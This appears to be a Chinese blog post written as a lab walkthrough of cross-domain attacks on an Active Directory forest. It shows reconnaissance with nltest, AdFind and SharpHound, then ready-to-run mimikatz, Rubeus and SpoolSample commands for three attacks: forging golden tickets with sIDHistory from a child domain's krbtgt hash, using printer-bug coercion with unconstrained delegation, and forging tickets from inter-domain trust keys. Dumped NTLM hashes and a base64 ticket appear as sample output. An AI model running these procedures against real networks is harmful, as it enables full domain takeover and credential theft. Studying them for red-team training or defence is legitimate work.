内网跨域渗透利用

简述
本篇文章主要讲述跨域利用的常见手法,以及域信任查询与域信任分析
本篇文章不结合常见域渗透手法利用,主要以复现跨域攻击手法为主。
域信任简述
简述:
	域信任存在的主要原因是为了解决多域环境下的身份验证和访问控制问题。
	在一个拥有多个子域的大规模 Active Directory 环境中,不同的用户和计算机
	需要在多个域之间进行通信和共享资源。为了实现这种交互,一些域需要承认
	另一些域的身份验证和用户身份,域信任分为单向信任和双向信任Windows域
	从2003开始默认是双向域信任,下面将简单讲述什么是单向信任和双向信任。
单向信任:
	单向信任是指两个域之间建立的单向信任关系。单向信任可以分为单向进入信任和单向离开信任。
	单向进入信任的情况是其中一个域信任另一个域,但反过来却不成立。例如,总部域信任分公司域,
	但分公司域不信任总部域。
	单向离开信任的情况是其中一个域被另一个域信任,但它本身不信任另一个域。例如,分公司域信任总
	部域,但总部域不信任分公司域
双向信任:
	双向域信任是一种可以相互信任并验证的两个域之间的安全连接。它允许每个域中的用户和
	计算机访问另一个域中的资源,并允许另一个域中的用户和计算机访问当前域中的资源。
外部信任:
	外部信任是建立在不同林间的域之间的信任关系。它允许一个域中的用户或计算机访问另一个域
	中的资源,并且需要跨越安全界限进行身份验证。当一个组织需要频繁地与另一个组织进行沟通或
	协作时,可以建立外部信任来实现共享资源和集中管理,Windows域林便是外部信任。
内部信任:
	现有林中创建域树时,将建立新的树根信任,当前域树中的两个或多个域之间的信任关系被称为
	内部信任,比如test.com的根域与bj.test.com的子域就属于内部信任。
环境说明:
机器名称				简介			域名						IP
2016-TEST-DC		根域			test.com				192.168.100.100
2016-TEST-FZDC		辅助DC			test.com				192.168.100.200
WIN7-TEST			WIN7机器		test.com				192.168.100.10
WIN10-TEST			WIN10机器		test.com				192.168.100.20
2016-BJTEST-DC		beijing子域DC	beijing.test.com		192.168.110.110/192.168.100.110
WIN7-BJTEST			WIN7机器		beijing.test.com		192.168.110.10
WIN10-BJTEST		WIN10机器		beijing.test.com		192.168.110.20
2016-SHTEST-DC		shanghai子域DC	shanghai.test.com		192.168.120.120/192.168.100.120
WIN7-SHTEST			WIN7机器		shanghai.test.com		192.168.120.10
WIN10-SHTEST		WIN10机器		shanghai.test.com		192.168.120.20
域信任侦查
普通域成员机器使用cmd命令查询命令:
nltest.exe /domain_trusts

在这里插入图片描述

可以使用powershell查询
查询与test.com的域信任关系(需要在域控机器上查询)
查询当前域全局编录信息
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GlobalCatalogs

在这里插入图片描述

Get-ADTrust -Identity test.com(域名DC)

在这里插入图片描述

获取根域信息并查询整个域
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

在这里插入图片描述

查询当前域信息
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()		

在这里插入图片描述

查询当前域信任关系
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

在这里插入图片描述

Adfind侦查域树
通过之前的cmd可以查询到域信任关系之后可以使用Adfind对整个域树进行侦查,
方式其实跟本域侦查差不多不过DN要改为想要查询的域下面举例在shanghai.test.com
的普通域成员机器上使用Adfind查询根域的账号以及入域机器,在实战当中大家可以举一反三。
在shanghai普通域成员机器上查询域信任关系:
	nltest.exe /domain_trusts

在这里插入图片描述

在shanghai普通域成员机器上查询test.com根域下的企业管理员(企业管理员组在跨域利用中是重要凭据之一):
	AdFind.exe -b "CN=Enterprise Admins,CN=Users,DC=test,DC=com"
	可以看到查询到了两个账号分别是dcadmin和administrator账号。

在这里插入图片描述

在shanghai普通域成员机器上查询test.com根域域下的入域机器:
	AdFind.exe -b "CN=Computers,DC=test,DC=com" DN

在这里插入图片描述

在shanghai普通域成员机器上查询test.com根域域下的账号:
	AdFind.exe -b "CN=Users,DC=test,DC=com" DN

在这里插入图片描述

bloodhound侦查域树
bloodhound侦查域树需要-d指定域才行,比如要拖test.com、shanghai.test.com、beijing.test.com
则需要一下命令:
SharpHound.exe -d test.com

在这里插入图片描述

SharpHound.exe -d shanghai.test.com

在这里插入图片描述

SharpHound.exe -d beijing.test.com

在这里插入图片描述

需要注意的是SharpHound.exe -c all只会拖本域信息不会自动拖根域或其他子域。

在这里插入图片描述

将指定这3个指定域拖来下之后就可以全部加载到bloodhound中进行分析了。

在这里插入图片描述

利用方式1:使用子域Krbtgt 密钥创建跨域金票(sIDHistory滥用)
利用原理:
	SIDHistory是一个为支持域迁移方案而设置的属性,当一个对象从一个域迁移到另一个域时,
	会在新域创建一个新的SID作为该对象的objectSid,在之前域中的SID会添加到该对象的
	sIDHistory属性中,此时该对象将保留在原来域的SID对应的访问权限。
	比如域A账号lisi是管理员但是到域B下就是普通账号并且SID是不一样的,可以通过sIDHistory设置为域A
	下lisi的SID那么域B下的lisi也用于管理员权限,下面一张图可以很直白的理解下。

在这里插入图片描述

Krbtgt 密钥创建跨域金票利用的本质是sIDHistory属性的滥用,子域下的administrator伪造sIDHistory为Enterprise Admins组的SID。
需要注意:
	这种利用方式只能是域树中使用,在林信任中默认会开启,开启SID过滤就算你加了sIDHistory属性在跨林访问时,
	目标域返回给你的服务票据中也会过滤掉非目标林中的SID。
利用步骤:
	1.拿到了域控或者域管权限进行Dcsync拿到Krbtgt Ntlm Hash。
	2.使用mimikatz伪造新PAC为根域的Enterprise Admins(企业管理员组),并创建跨域黄金票据。
	3.将创建好的跨域票据进行Dcsync或者,PTT(传递票据)申请根域cifs服务的TGS票据。
利用步骤1:
	假设通过域管拿到shanghai子域krbtgt hash:
	mimikatz # lsadump::dcsync /domain:shanghai.test.com /all /csv
	[DC] 'shanghai.test.com' will be the domain
	[DC] '2016-SH-DC.shanghai.test.com' will be the DC server
	[DC] Exporting domain 'shanghai.test.com'
	[rpc] Service  : ldap
	[rpc] AuthnSvc : GSS_NEGOTIATE (9)
	1104    TEST$   a56321523a51ed93b6c21ff9213cade9        2080
	500     Administrator   443304af5a35f12b9ff7ecc74adc5a27        512
	1000    admin   31d6cfe0d16ae931b73c59d7e0c089c0        544
	502     krbtgt  4b3e6ed708355aa2d2ae70ef6e3a9779        514
	1105    shruyu  4c25ed57e37131073192a98148fbc30f        512
	1107    WIN7-SHTEST$    925c0baf53810e732db919536805aa44        4096
	1108    WIN-SHTEST$     fdb517e80191d9e504ad69a6e6c55df4        4096
	1001    2016-SH-DC$     b95b447c9fcedb2da5e34d9fc9b75ecd        532480
	1106    shyugaun        443304af5a35f12b9ff7ecc74adc5a27        512
	1109    shyg    443304af5a35f12b9ff7ecc74adc5a27        512
利用步骤2:
	Adfind查询根域下的Enterprise Admins组SID命令:
		AdFind.exe -b "CN=Enterprise Admins,CN=Users,DC=test,DC=com" objectSid
		S-1-5-21-2612114875-2818398968-331682553-519

在这里插入图片描述

mimikatz创建跨域黄金票据命令:
	Adfind查询当前域SID命令:
		adfind.exe -f "(&(objectclass=domain)(distinguishedName=DC=shanghai,DC=test,DC=com))" objectSid

在这里插入图片描述

	清除当前票据
		kerberos::purge
	注入跨域金票参数说明:
		sids:Enterprise Admins(企业管理员组)SID
	sid:当前域SID
		domain:当前域名
		krbtgt:NTLM Hash
	ptt:将票据注入当前内存
		kerberos::golden /user:administrator /sids:S-1-5-21-2612114875-2818398968-331682553-519 /sid:S-1-5-21-3064315907-2361217233-2781650092 /domain:shanghai.test.com /krbtgt:4b3e6ed708355aa2d2ae70ef6e3a9779 /ptt

在这里插入图片描述

利用步骤3:	
	lsadump::dcsync /domain:test.com /all /csv
	进行Dcsync导出test.com根域下的所有NTLM Hash后续可以进行PTH攻击。

在这里插入图片描述

上面进行Dcsync之后已经拿到根域的所有Hash了下面在介绍另一种利用方式:
使用kekeo进行PTT传递票据申请根域控TGS的cifs票据并登录根域。
上述mimikatz不加/ptt注入到当前内存中会自动在当前目录下生成TGT票据文件,
需要使用kekeo指定该票据进行PTT获取根域cifs的TGS票据。
命令:
	tgs::ask /tgt:C:\Users\shyg\Desktop\ticket.kirbi /service:cifs/2016-TEST-DC.test.com /ptt

在这里插入图片描述
在这里插入图片描述

利用方式2:打印机BUG/PetitPotam+非约束委派进行跨域利用
利用原理:
	域林中域控(默认启用非约束委派)的权限或配置了非约束委派的服务器权限情况下,
	使其他域的域控制器向已被控制服务器送身份认证请求,获取目标域控机器账户(或其他用户)TGT。
	需要注意:
		此利用仍然受SID过滤的影响,在开启SID过滤的情况下不会将TGT发送到服务。
利用步骤:
	1.拿下某台域控或者域树内的某台具有非约束委派的机器。
	2.Rubeus开启监听根域机器账号TGT
	3.使用打印机BUG/PetitPotam触发根域控Kerberos认证到权限机器。
	4.Rubeus.exe导入票据并进行Dcsync。
利用步骤1:
	假设拿到了shanghai.test.com中的域管权限并使用RDP登录到了该子域域控。
利用步骤2:
	监听根域机器账号
	Rubeus.exe monitor /interval:2 /filteruser:2016-TEST-DC$

在这里插入图片描述

利用步骤3:
	利用SpoolSample.exe工具进行强制认证命令:
	SpoolSample.exe 2016-TEST-DC 2016-SH-DC

在这里插入图片描述

利用步骤4:
	Rubeus成功抓取到根域机器账号TGT。

在这里插入图片描述

Rubeus导入根域TGT票据进行PTT攻击
Rubeus.exe ptt /ticket:doIFTDCCBUigAwIBBaEDAgEWooIEWDCCBFRhggRQMIIETKADAgEFoQobCFRFU1QuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0GwhURVNULkNPTaOCBBgwggQUoAMCARKhAwIBAqKCBAYEggQC5NFTRrQeqOybbah2lepgmY4GG3w9974Zc5edjnCZLKkENilLTPskGpu19N+inK04OI3nJynY7HsCKFEjBwv3afCLeWFUF8/Nqjg9GTuRrfFG2VsR17iZFvF95I/vVd537TRc6Tfrl31jkXcTRRuWMSeFZKKe+fW6BgwHc/AvvzOcKPRuhO8ql4Q5hpoyEeLKjFQsAs8nRczTedE8hAM6dI2+2X1IGEYfA9f1HePDltojybCpA1WCvV6uvOhD18Y4/dia1PkB9yVoPXI3rS9oF1phJPn/CKb56xNV+U+EXa4rz+sDHYa4zSd2KQN2UaqGTM73xNO2em/5YYuZ6j4z0NmzW4E73pDamcGEwEoAkH9s2EvefXn2vPRe2N8LcpwcFqWR6LCh/AJtAVrITE9g1JUrnfAB9v5gtyZ3RUMjm6zjy+yhNdi0W7HMgbsfOTqbI7xbvxS4iHynngr0ytx73QzGd6nPkZoZ/9rnBTliVSUwqlvpiO9njah4RS1+SzgBog2LHuQCwDq5ixBmK0BgQzqvWW+4CvBMs1Chb3IATtNa5wxIddhet05MLjxdmTxlTABiJ+9FOsY29xHjCH2Ov5Kuax3K30qQiBOdlS58c4HRE6xH8Mqg8OowFfg8bhGNU3674jY0HXoB+UkPWVqI6Yk1X0j8ew9UWf3qphpBtKP4t4lFOa5kbTJ7yw6da/PtN6Mrfihr9d8LPffsAqe1I03eePDrYYPEaYbRhfXyieY0dhqR0/2LuziAVeVWsMSlYcg4CEoQPqQoPlVtWrgc48w4862T6qBOX5s9zyurjif5g5gxK4Ly96zHhZAyuZ8bEcRpmhbh9ckptmYvXuTZHzLiIh5DWs5WGr+vuFjs8T//9xXYlsjnG3CdyjincjDxIPO9qjPzwAQRskywuSZRuXoHLDBhIQ1CJc8An9ipfiwNBse0JJ1KuzyWt3WAGOttktxmgFLIsFHmoxQeatg5AO0sIVW0CCJWz/jXdVbSHmmFIH4umwygPpjjIFN6J5B5MCOJaAMYRrLVsS6WnkP9WNKm0K15sdCmWfea/fx/bTqNHUxCJ4COSDFsouo1dZqfzpLbsWD/UpLA/IdrKT5st9cwCfD7vajnZhR3a3vMdiOpwKennZuB3UwoGXwf74wXG+n3WKU4EezWLQCvjv2mL71ehmO5grQKFQeoojJS6gfpwnRCwiQ2YDme5s6cpcmI4IlOARb4FqDX1/2u9dfLuFHmbLVt7Vs3FsR1Mb3GVq6HUgZ69+iYKdY2YikJH5q6hCCENWYWhL+u5xMs4OuZ+55aYbvLJp0uqxVhekW41aghgm6XC71Q1PM90YfjYaO+Tn7TIzwRt/IiHAPKyMcAZvd+o4HfMIHcoAMCAQCigdQEgdF9gc4wgcuggcgwgcUwgcKgKzApoAMCARKhIgQg5byaluxodvKOqAphZQq+g0aURHdh2nV9SnEyzYKb2WKhChsIVEVTVC5DT02iGjAYoAMCAQGhETAPGw0yMDE2LVRFU1QtREMkowcDBQBgoQAApREYDzIwMjMwMzE2MDYyODIxWqYRGA8yMDIzMDMxNjE2MjcyNVqnERgPMjAyMzAzMjMwNjI3MjVaqAobCFRFU1QuQ09NqR0wG6ADAgECoRQwEhsGa3JidGd0GwhURVNULkNPTQ==

在这里插入图片描述

在当前窗口下使用mimikatz进行Dcsync
lsadump::dcsync /domain:test.com /all /csv

在这里插入图片描述

利用方式3:使用域间信任密钥进行跨域利用
域间信任密钥跨域利用与Krbtgt 密钥创建跨域金票类似唯一的区别是通过域间信任密钥创建票据,
添加企业管理员组到TGT PAC的ExtraSids字段。
利用步骤:
1.拿下子域域控使用mimikatz抓取域间密钥
2.使用mimikatz创建基于域间密钥的跨域金票
3.进行PTT票据传递攻击申请域控cifs服务TGS票据
利用步骤1:
	在子域控查询信任账户
	Get-ADUser  -LDAPFilter "(SamAccountName=*$)" | select SamAccountName

在这里插入图片描述

	使用mimikatz在子域控下抓取域间信任密钥:
	privilege::debug
	lsadump::trust /patch

在这里插入图片描述

利用步骤2:
mimikatz利用域间密钥创建TGT
user:伪造的用户
domain:当前域
sid:当前域SID
sids:根域企业管理员组SID
rc4:域间密钥rc4算法
kerberos::golden /user:administrator /domain:shanghai.test.com /sid:S-1-5-21-3064315907-2361217233-2781650092 /sids:S-1-5-21-2612114875-2818398968-331682553-519 /rc4:a56321523a51ed93b6c21ff9213cade9 /service:krbtgt /target:test.com

在这里插入图片描述

Rubeus申请域控cifs的TGS
Rubeus.exe asktgs /service:cifs/2016-TEST-DC.test.com /dc:2016-TEST-DC.test.com /ticket:ticket.kirbi /ptt

在这里插入图片描述
在这里插入图片描述

总结
本篇文章讲述了3种跨域利用方式以及跨域使用Adfind和bloodhound做侦查
1.使用域间信任密钥进行跨域利用
2.子域Krbtgt 密钥创建跨域金票
3.打印机BUG/PetitPotam+非约束委派进行跨域利用
  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

虚构之人

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值